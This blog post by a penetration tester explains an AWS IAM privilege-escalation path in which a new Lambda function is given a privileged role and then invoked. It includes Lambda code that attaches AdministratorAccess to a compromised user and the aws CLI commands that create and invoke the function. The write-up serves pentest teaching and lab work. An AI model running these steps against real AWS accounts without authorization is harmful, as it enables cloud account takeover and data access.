AWS, like Active Directory is the gift that keeps on giving. While there has been mountains of research published already, this is my attempt at contributing to some of heavy lifting that has been done already. It’s 2026, not much is outdated, but some things have changed and a lot of tooling requires updating.
At the time of writing, I have decided to keep some of my tooling updates private. However, this piece will look to introduce caveats and gotchas from scenarios I’ve seen whilst doing AWS pentests years after most of the initial research was posted.
Goals
- Clarify IAM privilege escalation scenarios outlined by various researchers such as Rhino Security and Datadog
- Provide self hostable lab scenarios for all explored scenarios (hopefully)
This is a living project. The project will be updated as I bump into various scenarios IRL
15. Passing a role to a new Lambda function, then invoking it
Source || Lab Scenario
I am not sure if I am the daft one here, but it seems to me there was one important detail missing in this scenario. The potential impact clearly states the following:
“This would give a user access to the privileges associated with any Lambda service role that exists in the account, which could range from no privilege escalation to full administrator access to the account.”
I initially assumed one could use this scenario for horizontal priv esc; if I have access to Lambda only, I could potentially create a function and invoke it, passing a role that has S3 access to it and gaining those privileges.
This is the case, however, the Lambda function you create and subsequently invoke has to perform the actions the target role has permissions to perform. This seems pretty obvious after the fact, but I had initially missed this (I am the daft one I guess).
In the example given, the attacker attaches the AdministratorAccess policy to the user they have access to:
# lambda function to attach admin policy to attack controlled user
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='<compromise user>',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return responseThis would only work if the role that is passed to the Lambda function has the IAM permission "iam:AttachUserPolicy since that is the action the function is performing. Either someone really wanted that specific permission for that role or it had broadly scoped permissions, including that specific permission.
Attempting to read S3 using the target role’s permissions would look something like this:
# lambda function to read S3 using target role's permissions
import boto3
def lambda_handler(event, context):
s3 = boto3.client('s3')
buckets = s3.list_buckets()
return {'buckets': [b['Name'] for b in buckets['Buckets']]}Where the target role would have to have the permission s3::ListAllMyBuckets.
- Create Lambda function:
aws lambda create-function \
--function-name <FUNCTION TO BE CREATED> \
--runtime python3.12 \
--role arn:aws:iam::<TARGET ROLE THAT LAMBDA CAN ASSUME> \
--handler privesc.lambda_handler \
--zip-file fileb://privesc.zip \
--profile <PROFILE NAME>- Invoke function:
aws lambda invoke \
--function-name <PREVIOUSLY CREATED FUNCTION> output.txt \
--profile <PROFILE NAME>Note
The above actions may exceed the default three second Lambda execution timeout so you may have to increase the default timeout to 30 seconds. You can do this by calling
UpdateFunctionConfiguration
- See output:
cat output.txt